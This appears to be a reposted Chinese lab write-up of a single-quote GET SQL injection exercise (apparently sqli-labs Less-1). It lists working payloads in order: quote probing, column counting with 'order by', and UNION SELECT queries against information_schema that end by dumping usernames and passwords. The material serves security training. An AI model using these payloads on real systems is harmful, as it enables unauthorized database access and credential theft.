标签：Less union 单引号 table id select schema

GET_单引号_字符型注入

0x01 判断注入类型

?id=1
?id=1'
?id=1"

'单引号报错
to use near ''1'' LIMIT 0,1' at line 1
'1'' LIMIT 0,1
'1''
输入的单引号写入了查询语句

存在，GET，单引号注入

0x02 获取回显字段数

?id=1'order by 4--+
报错，说明有3列

0x03 获取数据库名

?id=-1'union select 1,database(),user()--+
得到security数据库

0x04 获取表名

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"--+

0x05 获取列名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"--+

0x06 获取数据

?id=-1'union select 1,2,group_concat(username,password) from users--+

参考链接：
https://www.jianshu.com/p/b5ab19751955

标签：Less,union,单引号,table,id,select,schema
来源： https://www.cnblogs.com/observering/p/12902346.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。